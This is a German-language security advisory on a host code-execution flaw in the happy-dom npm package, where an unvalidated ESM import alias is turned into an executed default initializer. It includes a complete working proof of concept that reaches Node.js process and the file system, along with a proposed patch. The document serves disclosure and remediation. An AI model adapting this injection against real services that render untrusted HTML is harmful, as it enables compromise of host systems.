Hoch

Happy DOM: Unvollständiger Fix für CVE-2026-33943: unbereinigter Import-Alias führt zur Codeausführung auf dem Host

  • Veröffentlicht: 23.10.2026
  • Aktualisiert: 29.10.2026 10:00

Zusammenfassung

Der ESM-Compiler in happy-dom@20.14.5 validiert importierte lokale Bindungs-Aliasse nicht, bevor er sie in generierten JavaScript-Code einfügt.

Dadurch kann ein ungültiger ESM-Import-Alias in einen gültigen JavaScript-Destructuring-Standard-Initializer umgewandelt und ausgeführt werden.

Dies scheint ein alternativer Injektionspfad und eine unvollständige Behebung von GHSA-6q6h-j7hj-3r64 / CVE-2026-33943 zu sein. Der frühere Fix validiert importName im lokalen Handler export { ... }, aber der Named-Import-Handler platziert weiterhin ein nicht validiertes alias direkt im Codekontext.

Diese Probleme wurden über die öffentlichen APIs Window und <script type="module"> unter Verwendung des veröffentlichten npm-Pakets happy-dom bestätigt. Das PoC greift auf das Host-Objekt process von Node.js zu, erlangt node:fs und erstellt ein Proof-Verzeichnis auf dem Dateisystem des Hosts.

Bestätigte betroffene Versionen

Das PoC wurde direkt getestet gegen:

  • happy-dom@17.0.0
  • happy-dom@20.0.0
  • happy-dom@20.1.0
  • happy-dom@20.14.5

Dasselbe PoC löst bei happy-dom@16.8.1 nicht aus.

Der ESM-Compiler wurde mit Commit 7bc831df2 eingeführt und erstmals in v17.0.0 veröffentlicht. Die verwundbare Interpolation ist bis v20.14.5, dem neuesten Release zum Zeitpunkt der Tests, vorhanden.

Vorgeschlagener betroffener Bereich:

>= 17.0.0, <= 20.14.5

Zum Testzeitpunkt war keine gepatchte Version verfügbar.

Voraussetzungen

  • JavaScript-Evaluierung ist mit enableJavaScriptEvaluation: true aktiviert.
  • Angreifer-kontrolliertes HTML oder Modulquellcode wird von Happy DOM verarbeitet.
  • Dies kann SSR-, Vorschau-, Scraping- oder Testdienste betreffen, die extern bereitgestelltes HTML auswerten.

Technische Details

In packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts teilt der Named-Import-Handler einen Import-Spezifizierer auf und extrahiert dessen Alias:

ts
const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');

if (alias && name) {
  properties.push({ name, alias });
}

Anders als beim gepatchten Handler export { ... } wird der Wert von alias nicht als JavaScript-Bezeichner validiert.

Er wird anschließend direkt in die generierte Binding-Syntax eingefügt:

ts
newCodeStart += `let {${properties
  .map((property) =>
    property.alias
      ? `"${property.name}": ${property.alias}`
      : property.name
  )
  .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;

Betrachten Sie den folgenden Quelltext:

js
import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };

Dies ist ungültige ECMAScript-Modulsyntax. Node.js weist sie am Token = ab.

Happy DOM transformiert sie stattdessen in das Äquivalent von:

js
let {
  "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');

Dieses generierte JavaScript ist gültig. Da das importierte JSON-Objekt keine Eigenschaft missing enthält, wird der Standard-Initializer ausgeführt.

Das Attribut with { type: 'json' } ist relevant, da der Compiler seinen zirkulären Import-Resolver nur für ESM-Importe generiert:

ts
if (!match[7] || match[7] === 'esm') {
  resolvableCircularImports.push({ url, properties });
}

Die Verwendung eines JSON-Moduls verhindert, dass der schädliche Alias später in einer Zuweisung für zirkuläre Importe erneut ausgegeben wird, sodass die generierte Funktion syntaktisch gültig bleibt.

Backtick-Zeichenketten überstehen auch die bestehende Anführungszeichen-Bereinigung. Dadurch kann der injizierte Initializer Node.js-Host-APIs erreichen:

js
globalThis.constructor.constructor(`return process`)()
  .getBuiltinModule(`node:fs`)
  .mkdirSync(
    globalThis.constructor.constructor(`return process`)().cwd() +
      `/HAPPY_DOM_RCE_PROOF`
  )

Proof of Concept

Das folgende PoC verwendet ausschließlich die öffentliche Happy DOM-API und führt eine harmlose Dateisystemaktion aus, indem es ein Verzeichnis namens HAPPY_DOM_RCE_PROOF erstellt.

1. Erstellen von package.json

js
{
  "name": "happy-dom-import-alias-rce-poc",
  "private": true,
  "type": "module",
  "dependencies": {
    "happy-dom": "20.14.5"
  }
}

2. Erstellen von dep.json

js
{}

3. Erstellen von payload.mjs

Diese Datei dient als Kontrolltest, um zu zeigen, dass ein nativer ECMAScript-Parser den Quellcode zurückweist:

js
import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };

4. Erstellen von poc.mjs

js
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';

const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });

const window = new Window({
  url: 'https://poc.local/',
  settings: {
    enableJavaScriptEvaluation: true,
    suppressCodeGenerationFromStringsWarning: true,
    fetch: {
      virtualServers: [
        {
          url: 'https://poc.local/',
          directory: process.cwd()
        }
      ]
    }
  }
});

const script = window.document.createElement('script');
script.type = 'module';

script.textContent = `
  import {
    missing as injected = globalThis.constructor.constructor(\`return process\`)()
      .getBuiltinModule(\`node:fs\`)
      .mkdirSync(
        globalThis.constructor.constructor(\`return process\`)().cwd() +
        \`/HAPPY_DOM_RCE_PROOF\`
      )
  } from './dep.json' with { type: 'json' };
`;

window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();

if (!existsSync(proofDirectory)) {
  console.error('[-] Exploit failed: proof directory was not created.');
  console.error(
    window.happyDOM.virtualConsolePrinter.readAsString()
  );
  process.exitCode = 1;
} else {
  console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}

await window.happyDOM.close();

5. Kontrolltest ausführen

bash
npm install
node --check payload.mjs

Erwartetes Ergebnis:

SyntaxError: Unexpected token '='

Dies bestätigt, dass der Quellcode kein gültiges ESM ist.

6. Happy DOM-PoC ausführen

bash
node poc.mjs

Erwartetes Ergebnis:

[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF

Die Existenz von HAPPY_DOM_RCE_PROOF bestätigt, dass der über den Import-Alias injizierte Ausdruck ausgeführt wurde und das Host-Dateisystem erreicht hat.

Das PoC wurde auch innerhalb eines Docker-Containers von node:24-alpine verifiziert, wo es Folgendes erstellte:

/poc/HAPPY_DOM_RCE_PROOF

Auswirkungen

Ein Angreifer, der einer Anwendung Modulquellcode übergeben kann, die JavaScript über Happy DOM evaluiert, kann veranlassen, dass syntaktisch ungültige Import-Deklarationen in ausführbares JavaScript transformiert werden.

Dies kann vorgeschaltete Syntaxvalidierungen oder Anwendungsannahmen umgehen, dass fehlerhafte Import-Klauseln zurückgewiesen werden.

Die demonstrierte Payload erreicht Node.js process und integrierte Module. Sie kann daher angepasst werden, um Dateien zu lesen oder zu ändern, auf Umgebungsdaten zuzugreifen oder Betriebssystembefehle mit den Rechten des Happy DOM-Host-Prozesses auszuführen.

Beziehung zu CVE-2026-33943

CVE-2026-33943 behandelt Expression-Injection über eine lokale Export-Deklaration:

js
export { attacker_expression }

Der dortige Fix fügte eine Bezeichner-Validierung zu importName hinzu, das vom Handler export { ... } verwendet wird:

ts
if (
  exportName &&
  importName &&
  VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
  // ...
}

Dieser Bericht betrifft einen anderen Parsing- und Codegenerierungspfad:

js
import { name as malicious_alias } from './module';

Der unvalidierte Wert ist der lokale Import alias, und die Injektion erfolgt in einem generierten Destructuring-Binding anstelle der in CVE-2026-33943 behobenen Export-Zuweisung.

Das Problem bleibt in Versionen reproduzierbar, die nach dem Fix für CVE-2026-33943 veröffentlicht wurden, einschließlich 20.14.5.

Vorgeschlagener Fix

Validieren Sie die importierte lokale Bindung, bevor sie im Codekontext platziert wird. Die bestehende Funktion VALID_VARIABLE_NAME_REGEXP kann wiederverwendet werden:

diff
- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {

Ein Regressionstest sollte die schädliche Import-Deklaration kompilieren und ausführen und dann überprüfen, dass der Initializer nicht evaluiert wurde.

Diese Änderung wurde lokal getestet. Die fokussierte Testsuite ECMAScriptModuleCompiler besteht mit 30 Tests, und ESLint meldet keine Fehler.

Zur zusätzlichen Härtung sollten generierte Eigenschaftsschlüssel JSON.stringify() anstelle von manueller Anführungszeichen-Interpolation verwenden.

Verifikationsprotokoll

  • Testdatum: 2026-09-17
  • Duplikatprüfung aktualisiert: 2026-09-20
  • Plattform: Windows 11
  • Node.js: 24.14.1
  • Neuestes getestetes Paket: happy-dom@20.14.5
  • Quellcode-Tag: v20.14.5
  • Quellcode-Commit: 0d4cdbe7442af49d16b49ddf1acf7cc9684ed318
  • Erste bestätigte betroffene Version: 17.0.0
  • Bestätigte nicht betroffene Version: 16.8.1
  • Docker-Umgebung: Node 24 Alpine
  • Bei der Duplikatprüfung wurden keine übereinstimmenden öffentlichen Advisories, Issues, Pull Requests, Commits oder Releases gefunden.

Was zu tun ist

Aktualisieren Sie happy-dom auf Version 21.0.4 oder höher.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket happy-dom >= 17.0.0, < 21.0.4 21.0.4

Verweise

CVSS-Wert 8.8/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-94
Plattform
npm
Paket
happy-dom
Veröffentlicht
23.10.2026
Aktualisiert
29.10.2026 10:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-834v-8h66-3h79 - CC BY 4.0

Schwachstellenhistorie: happy-dom

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
7
Erste → letzte
11.2024 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 3
  • Hoch 3
  • Mittel 1

Veröffentlichungen pro Jahr

  1. 2024: 1
  2. 2025: 2
  3. 2026: 4
  1. Happy DOM: Unvollständiger Fix für CVE-2026-33943: unbereinigter Import-Alias führt zur Codeausführung auf dem Host dieser Eintrag
    Hoch · 8.8 CVE-2026-115895 >= 17.0.0, < 21.0.4 21.0.4
  2. Kritisch CVE-2025-61927 < 20.0.0 20.0.0

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.